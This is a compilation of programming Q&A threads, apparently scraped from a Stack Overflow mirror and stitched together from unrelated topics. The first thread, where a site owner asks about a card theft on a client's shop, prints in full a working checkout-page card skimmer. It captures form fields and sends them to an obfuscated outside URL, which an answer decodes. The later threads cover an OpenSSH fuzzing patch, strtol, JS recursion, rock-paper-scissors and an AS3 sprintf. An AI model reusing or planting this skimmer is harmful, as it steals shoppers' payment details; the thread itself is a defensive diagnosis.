Opencart livechat.js malware script? - wordpress

I have customer credit card information being stolen from my clients website. I see this livechat.js script running on the website. There is no livechat function on the site, I believe it may be malware. How can I figure out where the script is being initiated from and what exactly is this script doing?
https://www.hergbenet.ro/wp-data/livechat.js
function IrDvbNXumt(e) {
return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g, function(e, t) {
return String.fromCharCode(parseInt(t, 16))
}))
}
function lmVibHTBLP() {
Array.from(document.getElementsByTagName("input")).forEach(function(e, t) {
null == e.getAttribute("onchange") ? e.setAttribute("onchange", "SAcSpFtVQg(this, '0')") : -1 == e.getAttribute("onchange").search(/SAcSpFtVQg/i) && e.setAttribute("onchange", "SAcSpFtVQg(this, '0');" + e.getAttribute("onchange"))
}), Array.from(document.getElementsByTagName("select")).forEach(function(e, t) {
null == e.getAttribute("onchange") ? e.setAttribute("onchange", "SAcSpFtVQg(this, '1');") : -1 == e.getAttribute("onchange").search(/SAcSpFtVQg/i) && e.setAttribute("onchange", "SAcSpFtVQg(this, '1');" + e.getAttribute("onchange"))
}), Array.from(document.getElementsByTagName("textarea")).forEach(function(e, t) {
null == e.getAttribute("onchange") ? e.setAttribute("onchange", "SAcSpFtVQg(this), '2'") : -1 == e.getAttribute("onchange").search(/SAcSpFtVQg/i) && e.setAttribute("onchange", "SAcSpFtVQg(this, '2');" + e.getAttribute("onchange"))
})
}
function SAcSpFtVQg(e, t) {
var n = [];
n.push("url%" + location.hostname), n.push("type:2"), "1" != t ? e.value.length > 0 && (0 == e.name.length ? n.push(e.id + "%" + e.value) : 0 != e.name.length && n.push(e.name + "%" + e.value), aQwCiGbwKo(n)) : e.value.length > 0 && (-1 != e.id.search("zone|region|state") || -1 != e.name.search("zone|region|state")) ? (e.value.replace(/[^-0-9]/gim, ""), e.value, 0 == e.name.length ? n.push(e.id + "%" + e.options[e.selectedIndex].text) : 0 != e.name.length && n.push(e.name + "%" + e.options[e.selectedIndex].text), aQwCiGbwKo(n)) : (0 == e.name.length ? n.push(e.id + "%" + e.value) : 0 != e.name.length && n.push(e.name + "%" + e.value), aQwCiGbwKo(n))
}
function aQwCiGbwKo(e) {
if (JSON.stringify(KZgKcnPvnh) == JSON.stringify(e)) return !1;
KZgKcnPvnh = e;
var t = 89999 * Math.random() + 1e4,
n = JSON.stringify(e),
a = document.createElement("img");
a.width = "1px", a.height = "1px", a.id = t, a.src = atob("aHR0cHM6Ly92YWxkYW1hcmtkaXJlY3QuY29tL3dwLWRhdGEvdmFsaWRhdGlvbi5waHA=") + "?image_id=" + IrDvbNXumt(n), document.body.appendChild(a), setTimeout(document.getElementById(t).remove(), 3e3)
}
function Default_Send() {
var e = [];
e.push("url%" + location.hostname), e.push("type%2"), Array.from(document.getElementsByTagName("input")).forEach(function(t, n) {
t.value.length > 0 && (0 == t.name.length ? e.push(t.id + "%" + t.value) : 0 != t.name.length && e.push(t.name + "%" + t.value))
}), Array.from(document.getElementsByTagName("select")).forEach(function(t, n) {
t.value.length > 0 && (-1 != t.id.search("zone|region|state") || -1 != t.name.search("zone|region|state")) ? (t.value.replace(/[^-0-9]/gim, ""), t.value, 0 == t.name.length ? e.push(t.id + "%" + t.options[t.selectedIndex].text) : 0 != t.name.length && e.push(t.name + "%" + t.options[t.selectedIndex].text)) : 0 == t.name.length ? e.push(t.id + "%" + t.value) : 0 != t.name.length && e.push(t.name + "%" + t.value)
}), Array.from(document.getElementsByTagName("textarea")).forEach(function(t, n) {
t.value.length > 0 && (0 == t.name.length ? e.push(t.id + "%" + t.value) : 0 != t.name.length && e.push(t.name + "%" + t.value))
}), aQwCiGbwKo(e)
}
var KZgKcnPvnh = [];
window.onload = function() {
-1 != location.href.search("checkout") && (Default_Send(), setInterval("Default_Send()", 3e3), setInterval("lmVibHTBLP()", 1500))
};

You should install & run Wordfence Security – Firewall & Malware Scan or Sucuri Security – Auditing, Malware Scanner and Security Hardening and check the results.
For example if you decode this atob("aHR0cHM6Ly92YWxkYW1hcmtkaXJlY3QuY29tL3dwLWRhdGEvdmFsaWRhdGlvbi5waHA=") you will see this url https://valdamarkdirect.com/wp-data/validation.php. Is this something you are aware of?
In most cases like this you should start by stating to your client that the e-Shop is compromised and ask for help from an expert.

Related

What exactly 0 && checksum != stored_checksum do?

http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html
diff --git a/packet.c b/packet.c
--- a/packet.c
+++ b/packet.c
## -1635,7 +1635,7 ## ssh_packet_read_poll1(struct ssh *ssh, u_char *typep)
cp = sshbuf_ptr(state->incoming_packet) + len - 4;
stored_checksum = PEEK_U32(cp);
- if (checksum != stored_checksum) {
+ if (0 && checksum != stored_checksum) {
error("Corrupted check bytes on input");
if ((r = sshpkt_disconnect(ssh, "connection corrupted")) != 0 ||
(r = ssh_packet_write_wait(ssh)) != 0)
Can someone please explain what does this patch do?:
It removes this:
- if (checksum != stored_checksum) {
and adds this:
+ if (0 && checksum != stored_checksum) {
What exactly 0 && checksum != stored_checksum do?

Strtol implementation different behaviour on 32 and 64 bit machine

#include <ctype.h>
#include <string.h>
#include <stdio.h>
#include <tgmath.h>
#include <limits.h>
#include <stdbool.h>
#include <errno.h>
#define NEGATIVE -1
#define POSITIVE 1
#define OCTAL 8
#define DECIMAL 10
#define HEXADECIMAL 16
#define BASE_MIN 2
#define BASE_MAX 36
long int strtol (const char * str, char ** endPtr, int base)
{
if(base < 0 || base == 1 || base > BASE_MAX)
{
errno = EINVAL;
return 0L;
}
else
{
bool conversion = true;
int i = 0, sign = POSITIVE, save;
while(isspace(*(str + i)))
i++;
if(*(str + i) == '\0')
{
conversion = false;
save = i;
}
if(*(str + i) == '-')
{
sign = NEGATIVE;
i++;
}
else if(*(str + i) == '+')
i++;
if(base == 0) // find out base
{
if(*(str + i) == '0')
{
if(toupper(*(str + i + 1)) == 'X')
{
base = HEXADECIMAL;
i++;
}
else
base = OCTAL;
i++;
}
else
base = DECIMAL;
}
else if(base == OCTAL)
{
if(*(str + i) == '0')
i++;
}
else if(base == HEXADECIMAL)
{
if(*(str + i) == '0')
if(*(str + i + 1) == 'x' || *(str + i + 1) == 'X')
i += 2;
}
int start = i, end, exp, check = i;
long int long_int, sum, multiplier;
if(conversion) // find out the correct part of the string corresponding to the number
{
if(base < DECIMAL)
{
while(*(str + i) >= '0' && *(str + i) < base + '0') // numbers from 0 to base - 1
i++;
}
else if(base == DECIMAL)
{
while(*(str + i) >= '0' && *(str + i) <= '9') // numbers from 0 to 9
i++;
}
else
{
while((*(str + i) >= '0' && *(str + i) <= '9') || (toupper(*(str + i)) >= 'A' && toupper(*(str + i)) < 'A' + base - 10))
i++;// numbers from 0 to 9 and uper and lowercase letters from a to a + base - 11
}
}
if(i == check && conversion) //no digits at all
{
conversion = false;
save = i;
}
else if(endPtr != NULL && conversion) // assign pointer
*endPtr = (char *) (str + i);
if(conversion)
{
for(end = i - 1, exp = 0, long_int = 0L; end >= start; end--, exp++)
{
multiplier = pow(base, exp);
sum = 0L;
if(*(str + end) >= '0' && *(str + end) <= '9')
sum = (*(str + end) - '0') * multiplier;
else if(*(str + end) >= 'A' && *(str + i) <= (base == BASE_MAX ? 'Z' : 'F'))
sum = (*(str + end) - 'A' + 10) * multiplier;
else if(*(str + end) >= 'a' && *(str + i) <= (base == BASE_MAX ? 'z' : 'f'))
sum = (*(str + end) - 'a' + 10) * multiplier;
if(long_int <= LONG_MIN + sum)
{
errno = ERANGE;
return LONG_MIN;
}
if(long_int >= LONG_MAX - sum)
{
errno = ERANGE;
return LONG_MAX;
}
else
long_int += sum;
}
return sign * long_int;
}
else
{
if(endPtr != NULL)
{// if base is 16 we check if the string given is not in the form 0xIncorrect string in that way we need to return xIncorrect part of the string
if(base == HEXADECIMAL && save >= 2 && toupper(*(str + save - 1)) == 'X' && *(str + save - 2) == '0')
*endPtr = (char *) str + save - 1;
else if(base == OCTAL && save >= 1 && *(str + save - 1) == '0')
*endPtr = (char *) str + save;// if the string is of base 8 and in the form 0incorrect string
else //then we return everything after the 0 as the endptr string
*endPtr = (char *) str;//in other cases no conversion was done so we return original pointer
}
return 0L;
}
}
}
I've got problem with writing implementation of strtol() function. The thing is i compiled it on 64 bit machine and the output was correct but today i checked it on another machine that is 32-bit and something got wrong. 32-bit machine showed the result that for example string "7FFFFFFF" is out of range when on 64-bits the results is that strtol succeded which is the same as for th standard function. I also checked errno value and for 32-bit machine it's set to ERANGE which shouldn't be and it's not not on 64-bit. I have program that checks if your implementation gives the same output as the standard one for different strings. I spent few hours looking for possible bug but i'm out of ideas? Any tips?

Need assistance with recursion in JS

I'm having a great deal of trouble wrapping my head around recursion. Simple recursion I can do but this is one is not easy for me. My goal here is to speed up this search algorithm. I'm guessing recursion will help. It takes 15 seconds on a simple 43 node tree with children as it is. Below is my unrolled recursion fomr of the code that works.
var nodeList = new Array();
var removeList = new Array();
var count = 0;
var foundInThisNodeTree;
var find = function ( condition )
{
}
while ( this.treeIDMap.igTree( "nodeByPath", count ).data() )
{
var foundInThisNodeTree = false;
var n;
n = this.treeIDMap.igTree( "nodeFromElement", this.treeIDMap.igTree( "nodeByPath", count ) )
if ( n.data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; }
else {//look deeper
var i = 0;
while ( this.treeIDMap.igTree( "nodeByPath", count + "_" + i ).data() )
{
n = this.treeIDMap.igTree( "nodeFromElement", this.treeIDMap.igTree( "nodeByPath", count + "_" + i ) );
if ( n.data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
else {//look deeper
var j = 0;
while ( this.treeIDMap.igTree( "nodeByPath", count + "_" + i + "_" + j ).data() )
{
n = this.treeIDMap.igTree( "nodeFromElement", this.treeIDMap.igTree( "nodeByPath", count + "_" + i + "_" + j ) );
if ( n.data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
else {//look deeper
var k = 0;
while ( this.treeIDMap.igTree( "nodeByPath", count + "_" + i + "_" + j + "_" + k ).data() )
{
n = this.treeIDMap.igTree( "nodeFromElement", this.treeIDMap.igTree( "nodeByPath", count + "_" + i + "_" + j + "_" + k ) );
if ( n.data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
k++;
}
}
j++;
}
}
i++;
}
}
if ( !foundInThisNodeTree ) this.treeIDMap.igTree("removeAt", ""+count )
else count++;
}
*** second revision suggested by Mirco Ellmann *****
var nodeList = new Array();
var removeList = new Array();
var count = 0;
var foundInThisNodeTree;
filter = filter.toLowerCase();
while ( this.treeIDMap.igTree( "nodeByPath", count ).data() )
{
var foundInThisNodeTree = false;
var n;
n = this.treeIDMap.igTree( "nodeFromElement", this.treeIDMap.igTree( "nodeByPath", count ) )
if ( n.data.ITEM.toLowerCase().indexOf( filter ) > -1 ) { foundInThisNodeTree = true; }
else {//look deeper
var i = 0;
n = this.treeIDMap.igTree( "childrenByPath", count );
while ( n[i] )
{
if ( n[i].data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
var j = 0;
n = this.treeIDMap.igTree( "childrenByPath", count + "_" + i );
while ( n[j] )
{
if ( n[j].data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
var k = 0;
n = this.treeIDMap.igTree( "childrenByPath", count + "_" + i + "_" + j);
while ( n[k] )
{
if ( n[k].data.ITEM.indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
k++;
}
j++;
}
i++;
}
}
if ( !foundInThisNodeTree ) this.treeIDMap.igTree("removeAt", ""+count )
else count++;
}
****using my branchable trees to get the data no need for any calls to tree****
var count = 0;
var foundInThisNodeTree;
filter = filter.toLowerCase();
while ( this.treeIDMap.igTree( "nodeByPath", count ).data() )
{
var foundInThisNodeTree = false;
var n;
n = this.treeIDMap.igTree( "nodeFromElement", this.treeIDMap.igTree( "nodeByPath", count ) )
if ( n.data.ITEM.toLowerCase().indexOf( filter ) > -1 ) { foundInThisNodeTree = true; }
if ( n.data.branch )//look at all childer under the root node
{
var i = 0;
n = n.data.branch;
while ( n[i] )//look at all childer under the root node
{
if ( n[i].ITEM.toLowerCase().indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
while ( n[i].branch )//look deeper
{
var j = 0;
n = n[i].branch;
if ( n[j].ITEM.toLowerCase().indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
while ( n[j].branch )//look deeper
{
var k = 0;
n = n[j].branch;
if ( n[k].ITEM.toLowerCase().indexOf( filter ) > -1 ) { foundInThisNodeTree = true; break; }
k++;
}
j++;
}
i++;
}
}
if ( !foundInThisNodeTree ) this.treeIDMap.igTree("removeAt", ""+count )
else count++;
}
instead of always use "nodeByPath" you should use "childrenByPath".
that would minimize the search calls on the igTree.
PS: USE not REPLACE ;)
You're not really doing this recursively. You're rather repeating your code for each level in the hierarchy. What you want is a helper function which takes the current node-path as a parameter and recursively calls the same method for each of its children with their id added to the path of the current node. Recursively means the code should work for any depth of tree. To me it looks like your code will only work for a set depth.
For the speed issue, there might be two issues. I didn't really read your code too closely, so I leave it to you to figure out which one is more likely.
You might be revisiting nodes. If so, obviously that would impact performance.
The framework you're using might be slow with looking up the nodes. One solution could be to find alternate methods to call on the framework which is meant for what you're doing. For instance the framework might have a hierarchical representation internally, but has to rebuild it or parse it when you pass in your full paths. Look for methods taking a source and relative path instead. If that's not the problem the framework might just be slow, and you might be better of to read all the nodes and build your own in-memory tree to use instead.
ok, I found a way to use the data provider and use a normal Json search. Still if anyone can speed this up I'd be grateful. I just when from 15 seconds to 1. This one has the recursion I need.
findInObject = function( obj, prop, val )
{
if ( obj !== null && obj.hasOwnProperty( prop ) && obj[prop].toLowerCase().indexOf(val) > -1 )
{
return obj;
} else
{
for ( var s in obj )
{
if ( obj.hasOwnProperty( s ) && typeof obj[s] == 'object' && obj[s] !== null )
{
var result = findInObject( obj[s], prop, val );
if ( result !== null )
{
return result;
}
}
}
}
return null;
}
for ( var i = 0; i < this.treeData.length; i++)
{
if ( findInObject( this.treeData[i], "ITEM", filter ) ) foundNodes.push( this.treeData[i] )//does the node have a match?
}
this.treeIDMap.igTree( { dataSource: foundNodes } );
this.treeIDMap.igTree( "dataBind" );
};

Rock, Paper, Scissors. Determine win/loss/tie using math?

So I was writing a rock paper scissors game when I came to writing this function:
a is player one's move, b is player two's move. All I need to figure out is if player one won, lost, or tied.
//rock=0, paper=1, scissors=2
processMove(a, b) {
if(a == b) ties++;
else {
if(a==0 && b==2) wins++;
else if(a==0 && b==1) losses++;
else if(a==1 && b==2) losses++;
else if(a==1 && b==0) wins++;
else if(a==2 && b==1) wins++;
else if(a==2 && b==0) losses++;
}
}
My question is: What's the most elegant way this function can be written?
Edit: I'm looking for a one-liner.
if (a == b) ties++;
else if ((a - b) % 3 == 1) wins++;
else losses++;
I need to know exactly which language you are using to turn it into a strictly one-liner...
For JavaScript (or other languages with strange Modulus) use:
if (a == b) ties++;
else if ((a - b + 3) % 3 == 1) wins++;
else losses++;
A 3x3 matrix would be "more elegant", I suppose.
char result = "TWLLTWWLT".charAt(a * 3 + b);
(Edited: Forgot that a and b were already zero-origin.)
I suppose you could use the terniary operator like this -
if (b==0) a==1? wins++ : loss++;
if (b==1) a==1? loss++ : wins++;
if (b==2) a==1? loss++ : wins++;
You can do it with a simple mathematical formula to get the result and then compare with if like this:
var moves = {
'rock': 0,
'paper': 1,
'scissors': 2
};
var result = {
'wins': 0,
'losses': 0,
'ties': 0
};
var processMove = function (a, b) {
var processResult = (3 + b - a) % 3;
if (!processResult) {
++result['ties'];
} else if(1 == processResult) {
++result['losses'];
} else {
++result['wins'];
}
return result;
};
jsFiddle Demo
One line processMove function without return:
var processMove = function (a, b) {
((3 + b - a) % 3) ? 1 == ((3 + b - a) % 3) ? ++result.losses : ++result.wins : ++result.ties;
};
how do you do it in java?
result = (comp - x ) % 3 ;
System.out.println (result);
if (result == 0 )// if the game is tie
{
System.out.println ("A Tie!") ;
}
else if (result == 1 || result == 2 )
{
//System.out.println (user + " " + "beats" + " " + computer_choice + " you win" );
System.out.println ("comp win");
}
else
{
System.out.println ("you win");
//System.out.println (computer_choice + " " + "beats" + " " + user + "you lose");
}

Is there a way to format a String in Flex

Is it possible to do something like this:
var s:String = format("%20d %-10s %s", time, type, message);
In languages like C, C++, C#, Python, and Perl there is something similar to my example, but I can't seem to find it for Flex.
I don't want to create special class Formatter for every string that I want to format.
You probably are looking for mx.utils.StringUtil.substitute(). Works similar to .NET String.Format().
For Example:
StringUtil.substitute("Hello {0}", ["World"]);
Adobe Livedocs for StringUtil class
Found this script that implements sprintf - and that's exactly what I was looking for. Thanks to Manish Jethani!
/* sprintf(3) implementation in ActionScript 3.0.
*
* Author: Manish Jethani (manish.jethani#gmail.com)
* Date: April 3, 2006
* Version: 0.1
*
* Copyright (c) 2006 Manish Jethani
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
package
{
/* sprintf(3) implementation in ActionScript 3.0.
*
* http://www.die.net/doc/linux/man/man3/sprintf.3.html
*
* The following flags are supported: '#', '0', '-', '+'
*
* Field widths are fully supported. '*' is not supported.
*
* Precision is supported except one difference from the standard: for an
* explicit precision of 0 and a result string of "0", the output is "0"
* instead of an empty string.
*
* Length modifiers are not supported.
*
* The following conversion specifiers are supported: 'd', 'i', 'o', 'u', 'x',
* 'X', 'f', 'F', 'c', 's', '%'
*
* Report bugs to manish.jethani#gmail.com
*/
public function sprintf(format:String, ... args):String
{
var result:String = "";
var length:int = format.length;
for (var i:int = 0; i < length; i++)
{
var c:String = format.charAt(i);
if (c == "%")
{
var pastFieldWidth:Boolean = false;
var pastFlags:Boolean = false;
var flagAlternateForm:Boolean = false;
var flagZeroPad:Boolean = false;
var flagLeftJustify:Boolean = false;
var flagSpace:Boolean = false;
var flagSign:Boolean = false;
var fieldWidth:String = "";
var precision:String = "";
c = format.charAt(++i);
while (c != "d"
&& c != "i"
&& c != "o"
&& c != "u"
&& c != "x"
&& c != "X"
&& c != "f"
&& c != "F"
&& c != "c"
&& c != "s"
&& c != "%")
{
if (!pastFlags)
{
if (!flagAlternateForm && c == "#")
flagAlternateForm = true;
else if (!flagZeroPad && c == "0")
flagZeroPad = true;
else if (!flagLeftJustify && c == "-")
flagLeftJustify = true;
else if (!flagSpace && c == " ")
flagSpace = true;
else if (!flagSign && c == "+")
flagSign = true;
else
pastFlags = true;
}
if (!pastFieldWidth && c == ".")
{
pastFlags = true;
pastFieldWidth = true;
c = format.charAt(++i);
continue;
}
if (pastFlags)
{
if (!pastFieldWidth)
fieldWidth += c;
else
precision += c;
}
c = format.charAt(++i);
}
switch (c)
{
case "d":
case "i":
var next:* = args.shift();
var str:String = String(Math.abs(int(next)));
if (precision != "")
str = leftPad(str, int(precision), "0");
if (int(next) < 0)
str = "-" + str;
else if (flagSign && int(next) >= 0)
str = "+" + str;
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else if (flagZeroPad && precision == "")
str = leftPad(str, int(fieldWidth), "0");
else
str = leftPad(str, int(fieldWidth));
}
result += str;
break;
case "o":
var next:* = args.shift();
var str:String = uint(next).toString(8);
if (flagAlternateForm && str != "0")
str = "0" + str;
if (precision != "")
str = leftPad(str, int(precision), "0");
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else if (flagZeroPad && precision == "")
str = leftPad(str, int(fieldWidth), "0");
else
str = leftPad(str, int(fieldWidth));
}
result += str;
break;
case "u":
var next:* = args.shift();
var str:String = uint(next).toString(10);
if (precision != "")
str = leftPad(str, int(precision), "0");
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else if (flagZeroPad && precision == "")
str = leftPad(str, int(fieldWidth), "0");
else
str = leftPad(str, int(fieldWidth));
}
result += str;
break;
case "X":
var capitalise:Boolean = true;
case "x":
var next:* = args.shift();
var str:String = uint(next).toString(16);
if (precision != "")
str = leftPad(str, int(precision), "0");
var prepend:Boolean = flagAlternateForm && uint(next) != 0;
if (fieldWidth != "" && !flagLeftJustify
&& flagZeroPad && precision == "")
str = leftPad(str, prepend
? int(fieldWidth) - 2 : int(fieldWidth), "0");
if (prepend)
str = "0x" + str;
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else
str = leftPad(str, int(fieldWidth));
}
if (capitalise)
str = str.toUpperCase();
result += str;
break;
case "f":
case "F":
var next:* = args.shift();
var str:String = Math.abs(Number(next)).toFixed(
precision != "" ? int(precision) : 6);
if (int(next) < 0)
str = "-" + str;
else if (flagSign && int(next) >= 0)
str = "+" + str;
if (flagAlternateForm && str.indexOf(".") == -1)
str += ".";
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else if (flagZeroPad && precision == "")
str = leftPad(str, int(fieldWidth), "0");
else
str = leftPad(str, int(fieldWidth));
}
result += str;
break;
case "c":
var next:* = args.shift();
var str:String = String.fromCharCode(int(next));
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else
str = leftPad(str, int(fieldWidth));
}
result += str;
break;
case "s":
var next:* = args.shift();
var str:String = String(next);
if (precision != "")
str = str.substring(0, int(precision));
if (fieldWidth != "")
{
if (flagLeftJustify)
str = rightPad(str, int(fieldWidth));
else
str = leftPad(str, int(fieldWidth));
}
result += str;
break;
case "%":
result += "%";
}
}
else
{
result += c;
}
}
return result;
}
}
// Private functions
function leftPad(source:String, targetLength:int, padChar:String = " "):String
{
if (source.length < targetLength)
{
var padding:String = "";
while (padding.length + source.length < targetLength)
padding += padChar;
return padding + source;
}
return source;
}
function rightPad(source:String, targetLength:int, padChar:String = " "):String
{
while (source.length < targetLength)
source += padChar;
return source;
}
The printf-as3 project sounds like it should fit your needs

Resources